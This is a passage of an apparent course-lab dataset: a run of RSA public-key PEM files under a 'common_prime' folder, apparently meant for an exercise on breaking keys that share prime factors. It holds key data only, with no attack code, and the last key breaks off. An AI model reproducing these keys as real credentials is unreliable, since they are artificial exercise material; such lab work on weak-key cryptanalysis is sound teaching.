-------------------------------------------------------------------------------- /2016/lab4/common_prime/40.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuPF3OIWEo5ZEJ5vwnhDk 3 | EzC0pLLE8jjdpUPzi3ACCgrRG26ILqHsuFeDoIe3er5IEpR/BprJXR6k2yst3Aw1 4 | 2wbGgetTzrrEDh0HUwvcXfhIgBpOUvEhA0qmZMdPacUzifiJim21Uw6TmUqtDKca 5 | 56QK5/+Qh6Y4IvmusKQJowS3vSF6axcBBYZCyXXGuaiZgMAwIwUKEYwbhKLd/jNs 6 | f9wysEidN/sxQAAnr//m8AjfR7EEZf7DKYINiNmU5WPJCCZ05n3GJRKBhJYXH6U8 7 | por9DioBWZVyXVuXiUFAxfXEIawILpOveeQwixUopZyQsGbR2BczSr5ZH8sSNnRA 8 | BQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/41.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1KXp5J/m4z5jK8i+5zEb 3 | l/w9c1wgzso2tDPtqdCbFljtAYzpeskZGQKNvqLkJM8w8ZF2FI5p3fgQGKaSyLMN 4 | KNdsuYfN50XohNNpd2rFxiyMWa5pUBuj3hORFEWJbSbTBeHLo3k9qZi63UvU5p06 5 | Xxygk2Mn0ZyJNXVhxysxY9Jvz9ofDnZVlIJpuob//WW8IwM3wn8YCHHkHxykmX1Q 6 | 0QbWPMvn6cetzBxWh8HIn9EhKp5UBdgL/aDUpWc3SUxudcDhnpKoLMHrnM+lTPhm 7 | +x2jPExCr4RH0FJnDMH+ugMC0ml7H0HH5Ud3dqaV6eX96bJgiAVmzrhXHkAnWsM/ 8 | NQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/42.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0gn+A38xWH5cbl/XEvT1 3 | GC8bn92Uyio9V6PNx9rDOPhTsAnib6+nFSoHJYOovxgfvH5V4Wxn8hSAnFh0m9Tw 4 | zORfDoW6c4H1YCdoGOiR9mQwIuRZP4LyekFCdvYiHJqnApHEs2e1QKnIGaaoG6JG 5 | Tnxayoh+kVgTfUoqAiaUqLXYBcDgkjBYypnN7rvEi+0Le5clGxj5rzAEZjw9xBxW 6 | EFjpxQgflCXDcwL/JU1AlzBgTgFWptX9ttGKrrrhFoESYJlEVOqi0PiPXmOu5BfK 7 | NC6Pc5wOs8TqM8NLar7MNqNQhT8XX7bPuZtDeQIYwpnJ8sZVVXztniYwmxREDGn3 8 | qwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/43.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAy2uRAS2bv+jzynmVNGC8 3 | 9VsFFYpisuxD1Gon3AamARn7ZOURCxBZfsWTMOstwCats0HrGwvXrJDmzgopJYoe 4 | S0R09LnMOn0//srR7MVjngVGjWks575nsDfxpUtUAz161Jv/jcMzfIwPK6MXJQl8 5 | hk60APPhziLcitQqqfzH/4ai96XBYBfnoKpf/p31V+Nale/OAo51v16Fk34syan3 6 | 2mQvvff2iyC+w2D/NBDWOhdXDh3WC56QcH1PioVZpo6sTFVToQT9mTqkWv/9J8M9 7 | uOpahFDfYu1uCYTTVAvmDmJ01YNLRLuuPGdwKQ2hh76PZKhCB5GIHnjfVcxup4gE 8 | VwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/44.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1vLy8O3zJG8IFT0ny80P 3 | FyHiWSIw1GUndC2pZH8N6FwCO2YNzRVL/rV2q6d5KdkSZTbkst6xpd3zV8W+8ehm 4 | VXw6CTsb7DDOGEHvKsXnYFXxCeJimITNcz95Ldmh6b5Vynmhv83wCoZ8ee7jzofI 5 | wRHGfRHgTdnhrmqMDMUtpoqM3P0UYO7KYSNfBt0VfcRKlQ5btLktVN2XDeceGvCZ 6 | Lm8rzacn3ajCXgsF/OwX/2JuKBlujqlUBuumL5YIHvRlV7/b4vNPQtY0MBjhd0CZ 7 | f6bS1oV622wuAJL9/7biyTHP8Lo/cJIMItSSF3eW98qoqJOpi6+CwWcN8U5Jru5T 8 | hwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/45.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwt58Berqk0sqq6kTbzJY 3 | 1q8Vw4YH9BvctVhs9PTSGDJCYOaH7rCa2KQcVvwwpL1Gp3AVkMbRElMZr98qY3gp 4 | 7p0HdQG/LU6cdIh7MUH0GrHyIrhEFnT1r48TQiUQNowr8JCpJ0XuD0QiTx5vU2bM 5 | Th4tYE/X9293AMoNqfW1FVXgmQ+hmmhFnYin72bAtcsF4rpNoBSG7QdZxG9g0CyI 6 | S5DSha+QWgvX4vGeSlEpv/veswoVTXjm5b1ICl18UNyYSjphHsdvYu4bH9T/MKZK 7 | uwVz3qHAyfUFbJVOE0EpmiaRDfCd16VoWQkzotsakjTjEUNW4cVTtuq2cclnv4fE 8 | wwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/46.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAvHqI/MrKenA3iyc7DTlZ 3 | QD/Yu3nmRB2gYmLV2vwyx80NpTIPr2Msw9+p7FABhKozO4cCla+omB+4zbJE0mBA 4 | csW+ZgRK7a1D8Fij/kCc1QHSzCCs8VU4wNtwTpq1oZws1u2xSeFCEbQVjjIiN2cX 5 | rt61/busMOgcMlEwSJ0iYzpfngFau5KEeGWN95vST8z5PX1dOD3vV0YtCZPJVDYA 6 | 0BOx0hoRddfgyh6UNCUCfEanaNqdozZNjhcBmb0WGO/O6mSEDAXVwz0YLgVXqpjT 7 | Y6KfDaRMmnw72+z70aU9u9AMylKtleHMQmmXDex85Y1KenRkit3TcmjTuwcKzB44 8 | vQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/47.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArpVy6OudELREPGj1cpDZ 3 | oMnNbOOGjHqdw1JINAH7XNSc9lFVbMr7fTXC4YPUevl34sjSji6Fp2Zbe9nC7zDf 4 | Jk5SW03UUjE2+TeFL+bHnSuOEFa3oXKfHiCW2x8c8FEx/Dm7mZhwEUyCxNKWd8py 5 | /DCLg7PJ4a+BZSIIZdapYnORWaJy4GXbK4ebZ7Hmt0rh0+Msh/0HFA79hGesOZ7a 6 | 60C82c9Hgp6I1lIEKH4Wb43DOW8Jm45cSNk1r1MNl6URiGqK6gOpbzWdmouzmBIc 7 | TBW8l0doYntMjvSkZrh/huTVH6FZXhCZqc/8NvUxqstsQ7Sax87YWjIFTd++MNB4 8 | BQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/48.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7nOaYufoE7okADaWd1fg 3 | PBslcQoBFVu6qVxaUKITMrZtrwqLmYDoK3reUQj55crcg97vWtx4LQ4cmIMyd1HY 4 | 9n77cx28VCUPZdCDaijGMvaVYc+4m3o4eL5ncG73bDMAeFXyk1pJZh9WWzBk5oMe 5 | qlTF9dAMu36Rm+QpZtMGeLPRD2UMWvcn67AXMZVTLs6BxaXx58Y782mx15VLyd55 6 | mixpuk2DpZ6q+EmnxUVkmbthxewBqnUgRv4u0sjsgUkbG2SnXBxHvlZzbREFeDCN 7 | QvsLz2IcFlmbmmOvcH2NvL0AOHPvj/E+6jz8XYOv5idK5TwgBykg101zduUR1GNI 8 | iwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/49.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoQIBVquIezpc/8uownKV 3 | /TnVxsczZsVtZluqZ4Zc1q7G+/CI8kmgzzIIBO4ytS37kkXIAcE3iv7JfLzg5Ym4 4 | OG2VRv4CMPdSDhZw4lxPBO3YlV2hyLOf5mg2R/fJ0x5RhtWzYrQSo1FJd82+Gev1 5 | HkUwXT4aLrYazkg79bYRmyqoo9cPizpo4ge5nf/n/WFrtfPNQ+8wwjVCVHI7CLJg 6 | bRhNDDqM5HY4hs0yCtUPAbSDH9EgwM63hqy9Ocs3Z6jIZt4n8yZfMPEySOL0SY7d 7 | k2WdnS0BTxrX2p2/0+zhpq5FfqcgamtIQLlXuQ3v0pUzBpK2Asdtx94GyRcbpbj1 8 | KwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/5.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzT6/2UBjTLG9wXqbpg8o 3 | lpMjEsfDkgeXVh+mO42I6MxQyvuDcljEa/dMokJ/0XJd3TbuOpN1vk3Ap8dWL5QF 4 | 6aCp2Y2fQOunMkohDDJQgW126Cz7g5FRT+6N2uSjXxj8AV84nnRJV6NLLyimgZaF 5 | 0YY/7NPy2YC7Nc+bmMjRN29bnob0QPvweewn87ERqZgH3kuI5fltr6AsXdrNXJ/O 6 | uxpSfSF5bH/oZHbuulCokXuWHVtTjz4NqLltqoksbBbokOnVwDPbGwOhrLeZRTs/ 7 | D80ZkSnv80FbBT7gtlOlVuSjHyV7B+Le1Ux65js8E3LT+9fYd+GhOur7Bo7oWnfy 8 | 5QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/50.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA10DMe/ZUd3pRBH4uE1SF 3 | aVms2lH5YihiurnOxVhfNFtVmwzZe8l2viEZLkUnSjGit7sdzH+w5ui6G/fVkR9F 4 | 51jbp1f9PXS2tR6VmDrwrrOwcE6rXLKl/g6/7V5PModOPgauOIlQDdMAT/pN2qUI 5 | rCE+5+aRP5js0yD9X0tixyjjYum/MblUzvnpKVQlhB1CPFspDmEqka0ki9NWQikA 6 | 7Ilot2QWdzZILihPzICEx8a480z4Loxe0Tr/hlTYw1ZVSx490B1ffnT3+gaBmvtJ 7 | 67WTB+B/gLEqA6K0KhnRRuMKqGKvhkc0FbEj4M0yZdOLGcE/vhVfx54YZZCEEwjP 8 | VwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/51.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqydV+kfk/mGS+PcwkrqQ 3 | s64KyX584gwu8mZHj2/z68CU54CdwEJUWLB95c+YHlJUaX4unhszQDUWDZvppvKj 4 | NSmwU8TfM9UaPIC/7DatF9EIMk4HQZPAR+VjmaqYzzfy0zWeY9lhVS43V3OsMOVC 5 | tHdfadGDU43fyAe7LWHpZNRPTggrqrGUP5rrCYb2uw2Y29bXnKyGOTKVQsHbcrsz 6 | 6KMYYnh3OpMd9pFeoci9wzIQgmdzEZH+EjUqiDy1U9nwB1k42/tucMsPqeRDoAl0 7 | wocOLUeIAuu5hl40BJffLaGa5GSz5WgMZxknsKvJUeBMPKjDNUN8/FuOmv2S9ogi 8 | DQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/52.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlqXz9M5Z9pnAndf0Jz/l 3 | fbTq8FKxobehtgchsrQcIuQ/NJYHBv9XgCz+EDWVAJcoFXrfB9bSY1uEuxGahyO6 4 | ZG8taT0vT96j6TH4gA1mwq7Sqfq4XKbJUCPR6apitYOXIV3TVPs09Uy22w+h5cwT 5 | U96Eg1pRrWdexNW2aXHc6J+At7bSEMAABtM4mRqUYyT0ds2rXgiUrVskA1LVEgzm 6 | XyEQnF+RG8bUAbXMh5uAjQLV9dQuPNoR+Y+oxvs/CDbqCw1NpOHil+c6vYOS+vNR 7 | znENrVt5BbjwiyEDFnFSN4kQqrGi2exKuhvfw84DwjcEoPfDZnBtz/uz7srcYdZ/ 8 | 2QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/53.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApcf02s4UewKXmIyCK87x 3 | keu8p5ql5VDVQ7wOxnucmcJlYqn2/Ksvb+XE6i/WHmBNYsJ4hDC9eFmYJEpzQaoW 4 | BSJRFyIJAz4gQDcCUB8ltqvtkYI3Yvy5VD94Z2rnAMNxCefNaAX6Yj5RI3pUklrT 5 | 6U4T0zd702ChXU2kxNVuBkeqnRV2xM1D1NymzvtjFRCC8ookzjsAiQkDumsp81rB 6 | FeZfB++nUF2ElOy/OCCeh8U2l+fT/ostsDsUMttldcGshFSUx7/0PxNbLAIMO52I 7 | mP9KhZylvxNpbTJr4U5P2wHalunA0+r6WcTqj6rpbkx8JsnNfj+doR8u51kIXxFM 8 | aQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/54.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwLBJs0Tgb5ZZg9i/iXP/ 3 | An+3GsjxNhWRR51FYIYulWJlMsYPkZAVUjIFz557HcI5BGC/7H4MYlDUPxtj1ceT 4 | Y4tPl3ZZJ4felJ0uMsXyH5TadyanpI3t4mlMtrfETa9+ZMHMwQFT/U56PBgfEnVJ 5 | nqeIBO1OHeP3w9gsh5NiIMsF62JSvTD9vsZtm3J/58petNUe1e9yU5UKS6Cvzu4+ 6 | BZdakRexX/rfskm2IpuwuagOpIFjwEr0yYI0WPyb4ANLPYc2diXse1iTbbHk+KVR 7 | BP10iPUlLRWT3MPHHeMrSjoksZlNBLdZ8waQUpf6UjxOai5XE311v1lyxsKCz8gM 8 | LwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/55.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzpwm26pSsM7S4E9HsF9z 3 | Y2aEcvfwZLYIBj0rc0cnc37kml9Ah/ISihxEsmQpjtjMrFtYRPcGJWUXyCk2YMHU 4 | gUChmH0yauNNtQSjghmEK3ZD98r8UYH411k425qVspnymt6X08cmaVQtb1MKdEpG 5 | hGUm0oYuY6Io+aa1g+KZq+8msaPyhkqwd69D2psilsPMP3PxmWSBUlGTV4s6URMi 6 | j2Q19Z97TMXiTm0RHHoNAcP+j9xJyw7rfMBYCNSsFvZRUlq92iSpjCFLtOHcLqEp 7 | X/oj/OkKAYCJ5ZI9eeycb0TmMBNtKzJbM3s7BR4G84XzUmsTQdIBQ001uURWkzf2 8 | iQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/56.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlOojqOfTAAHhG7z93KoZ 3 | Y4NDffsaJQ2pESjQl3Jy4lvLOkXVpdLQEV50sFv7xDhZOBtYBeRZajRlzbwoipHL 4 | GAbygWrbMnEJQVDVwItdzCdxYuPkWMFD76/uBkwgBTDDBUkFAoqrVkEF6b9Kp12b 5 | p2toCTJ7Vdw2+el3oltXdQ6jgiQW7NFTYQ3tKm6TaW6Z3KBofm2NHT+7SpG7H9RR 6 | hJ2mhEx+hjchkA5dOvmO4ACFQSSqTxlswBjNQsUAYIR5AVU09/rSpXpOahEUeI3R 7 | 7nGwTbPbsi443sZKcrhVCrBuy5z/eYH+2eub/+XOIKmUwWYkoLLFXiQ2m+Gk82BL 8 | nQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/57.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw8Qc/5BUm+f/NIE0yNaX 3 | Cl/+u74A7AVSO41OTtOwI86ng2hK40dSmxDF/n+VbR8vuzFHdmKaqGyDDO6nKX9T 4 | edErPTYyJU4mtLVRAIuG+9msiRoHXaqySKZk/YOsW6kR/0A3WmyAr0W4VUrvTHwx 5 | WTMaIrSrdJTm9qOHEnktkMvAxYhsrMx3slQENVOiV2f94zOWTnfs0QKJFNqBiNwq 6 | 4vqzBeK30ZawEVF80/iQiUAsqcIXLL5Co7d2d7wx8bPCsu45Dp9I+ifUUB54qR+k 7 | Gw2mLOSblsZViuYWEs9At263LFXHn2ANhCcS08o7M/iM8qq8YfWYYD9oZFaLPUqu 8 | JQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/58.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuslIEKRCLJ9FOoOP7x03 3 | 1OSE2yZ41zS6DAW4nPBwqUBbD2TEJ7fJo8H/mDh9Jd9RKlOyYddvHVA3Ar8P2CLp 4 | peeVYtcWsaBup0+RA6XnEwlIDUXKZxBiIH2eyT/+t7mTiM8Te+KFw2VPf4/rNiyr 5 | zuFg6yV0ChsgLcvAxDFFNFGI2s1VhdRzZB1bBavWyQ9AvjDgEu8fpHTDVGibdPSX 6 | dWaoXTEvt+pRH9EnNUj8STKIKrUBfB7w7BNxFMoY0oL/MpAR2jqTOQ0VFQA2NnrY 7 | KuwOmWuS3EI5lcrTdn+XG3mn/GJkalmdctadsA4LOy7kEF/6WrIuNWyxlQSR+Yey 8 | wwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/59.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAraLm6vidJg4goko+csph 3 | E6/+OfVH0CRpRUF9xNlowFo7IH+G5jx8vQPsnGLlhkSvtiY+9l85wwgZrTBzHnCV 4 | YyN4SGP3ZFq5M5bfPV0zSx8RNXlzZcTuILx/ycl5Om3wxnAeF+S27nhPWlcXwqgj 5 | HCl2+ZdLRdHOZ/C7ryRHZBm1hbIDzzHNi2//lHXUVh57NO9AwRoQypRP8GaqvZRb 6 | iJ/WS/PhksyyoZOotuu+rADssv4C5odMJ0MCxEZtBBAgX4zu63OOXHgbmk/lmnhT 7 | YtdTPIyfOjCs2c9rwKqQPt+Yt1kpKYr2DricyyxJFgWmu1jQM95K1gPi0yZHcHmI 8 | 7QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/6.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6zfmiz1ZbCE+MdG4gma8 3 | TNW9aUanFHBwBst/R8EP9vOmqM8k831aj878SDNKqlKSryGK1L/agMhIr9WrkO9u 4 | d3Z96shMAbMkLN59hl1lbSKh6jj9ebmjYKT8aW+fQeCtRp8nJ9SR4s4M4Fyrs88a 5 | TuqmPxW2mt72C/wxY5iBoOGpvqYQ45IgpvT63mPWm4huAGrL0tijYpLj1dcU1amv 6 | yqExLj5fbur04R+W5m8CSHeIKH43nUoZBcI2tjvoYnOOzZa0XwpfRl32d2zhv83f 7 | uKbPeOz1PC88X3EnYh9Ix9jmkRxl839PbBfhRh7nhC1eSK0rQF92kQgiTE1TnoZl 8 | rwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/60.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnk7UECaYj8e2vl6xD3vO 3 | r/JS8SwGFgaaY3PPiK+oww9zkzsMD0+LkLrIRHtAILuW8OvISHt02gI43gqpomHd 4 | qZdeQGAN+JZYxZRh3KckpA3cnxQBKi5v0FIWTErMdR0Ax1tXFmYLzL3iUqPlQdbs 5 | X7g882x6Dki+ThGPPHgUtMY3JqXFJH9e9v9YC81lJa9DpBP4c2u4iGaS364v5VwB 6 | V2jg74ysaxFhMgixwN3g4hcc3iQS59PW6iCyWQd0MGd4GFR3Wh+6klZbRPqqpEwd 7 | LwUVbOj4yOBzGONyVFDtp7QgQzStbqpIfaMUIKKsab/SNOlZh9sIEcScHvgjZTYc 8 | LwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/61.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwDV4E691TUC/q8JmumRW 3 | Z+Kh+gZSd5Qy+cgoUnjYf64tMiITLtkSfxh0rPUUd2CoVrONXL7V3QANVIrtL5Fw 4 | 9UFtogq7nQ277Gua5pl4NhXFatWWAHSw+Uon/nU872TMgA1QO1KcL8qsXz8Kgtik 5 | zbJ6rT1e+2YA8Ro913vUEtPYTxHuU5EC4yJ6qnHPaJmndn+RBp80haMI1NmF3L/E 6 | Q3zuKz+r9HlitFUnC/cBjKJ9GMnEsHTYnjCXKPLKEE6hdnNWBCVyIZzD9I+fduYy 7 | gGUJh5BN/qvfXDoagdFf1umU7nhgppJuK51JOZV1P7XPDKBOBvtXu2a04hEUJJmZ 8 | 7wIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/62.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5Ey0OpSAvoySErXz7VMC 3 | KongzOFrQvz2B5NcS+0siX/8Hxkc/H9hHr3QU7qAjGBXEZDdLP4oxxenuV38T/Od 4 | 3/NOvmDlBFT0Kh3LRJGx9hzqR/BWRX6yFsAuiDT/irhdwR/6dmHdHIgf9FB0Eyhy 5 | NlRvuHd+mFZv28SKAPAfBJ9bf1YlqioYFkgph5/cnqNDNPnY3WGmXozQJn0CjWtq 6 | E6Ro14UYYPo2HMu0PCstm9GWqhOAA7hz3vDvuL0/8v0k+06lGQOtwAb9Wa3TjGgP 7 | f4VFHc8GsayIV234fY4Gh/a2Ra0kxxyEKt0tjusZwFsMi+LCNljsssRRsjLbIKFY 8 | iwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/63.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2EjOR4tfr22ECjMrN84b 3 | EoTsHx8hbyGvGa2FgVq6Cy4qc6XoS1SdfQ8F4wRSIaTEvJ8JQXmy0d8WSwPU8aVC 4 | XtSzAHH+aPUcdeOBuCrwycgniokE+oknenJinzZb7WZIRJs2ShyJasARWiblnJvE 5 | RxMgmteWiSTzx7SQG8etkBq7udyWKdBEiS+G+3oRhUk6lYJjRGonxq0OXvihw4fr 6 | Im7ZnqIC9NjmA97j0uHK9aimKNFvY7FUL4MeVRS4MSMZGvudXh6xyvIr+1pjcezt 7 | QPErb8GKRYOEHrj+EGUkYeTuoyKrv5e8JGonqZeLZ02b+B/qqcBZ8GgZIjDViO7w 8 | VQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/64.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuEKnffsdIagOSjh5PnLW 3 | BV8aeTgau26Ijkfjch1PV5J6oPLfCCLkjKHvKmPvo+A2a3tGVI8se6v/yDTzSzaX 4 | mL9chFFYjnd3ijJUaFQ6EkILsYBmFs7P88TiXfjM5d29WxqE11Oon3y06jR52Azp 5 | gXnlnprPhXcwEy1X0dH3cXVx6D3f9qjo7bD8bDMuXdgKXwGapHE9Sd2nlnRd1n35 6 | sYzDEdfoEdQNFg/aXD+7XvNqwkFgSX1Bq0hpBgLd61YY2wRAIXVSn59Z61hvQNg2 7 | AlZEST31Y28jLKw/BCR2qQ/qBjrcMWYVwLR5LLH5tp/3IoAWHgHHaIH00mWXwyJT 8 | 9QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/65.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwqoQt9u/paNPyJipgAWN 3 | uTU6aFJuDYkrI3vuVMKHPhJ/ch0Xc3T7rSMmeoNDr2TO2YGxEfPXCDb6jD+57QPd 4 | eN1UxFkrViAMLScMqThi/pV9QV1+20cffrznZ5lF8j6HTwJLi5v+dG6fLyAuWvDN 5 | 261MacWL5Jv/QKNOTwWCbIiLMRRowFrIHxvefPLFOuF+kWW1LPyHA3UjvDbeIF7v 6 | ppDW2Iug29BOrlDBUO0PgSsv+z/mKPDOXFPecqTPNcVCn+I68veLKdojKeLrsOsb 7 | AaNZuQrhE3r9BlAzrcyQNFbf3kdk9IqcXIBXYsrJfHP6syh3MXRZN6YIEJjEuxgL 8 | GwIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/66.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEApOjk5UHJVFjEGvr6kwpF 3 | RmeYP/k03q6VU74o0Yk+apo/U36Ed/g62QIlkfQSwJvWC3LvwmtlcSlRjazpJB9G 4 | as11j0ktYgjzChX7eWzUvQJ0Kt5DHRvHPqNQBoFtWH8Li2kW5C9TBeMRKztmh65N 5 | oM/0OyIeprpv052GQNRs1yHMhxT+so8Z7dx9mVQSv/2PMnw9g3v3g4WXBHpLTK/p 6 | 6F1d9VV3bMiv3x0YQ/NZABxV4+xW5ygmaRw/QInLrdQVqgqI4JQC//OvIlycfqmt 7 | dMFptIZdl4q5gJk68EYm4YrvZ7taOlyDaKwExdbHZ9w4R57X2/8EMhRAMDgzAtSQ 8 | /QIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/67.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsgb5m+uCES07/tjdXV/Q 3 | p4rZo4IVzkfvCW82GpA1Y5VzVoO/ZeD/d82fwlyF5FUMNiQ7TFCPgtUcZx24Lxyc 4 | BNX6BrAnD401qMeBC+VxMYxIjmDxhkTNq+2FhZHL4Z5QmOZBi4VsbaDwo86OvgCz 5 | asooUnl/QeLlNCC24+8fWuNAlDebKmaGaI5s8mQ+gQ5XMwu/tPvsgbQCdwl44cfl 6 | 5dLv3G0Yxj7CAuOK585VRJvlDMQO3pGmqX8f8fCXWmpOEgvuU5SxqjHbYokEbuNT 7 | dbBvNxyCsKqjCb0yW0qR+ldrgKUW+u5WxoJjkHCV36rkmbNPjpK0PVwinm4sJIfr 8 | uQIDAQAB 9 | -----END PUBLIC KEY----- -------------------------------------------------------------------------------- /2016/lab4/common_prime/68.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PUBLIC KEY----- 2 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1gURolHu4dtCOm8sBERz 3 | tFdtWPwN5ydk5wIebdTzbP2x5bBYa9BqLobuLK62T2H2A1vw7/GpJ2tIxTeLFYs1 4 | 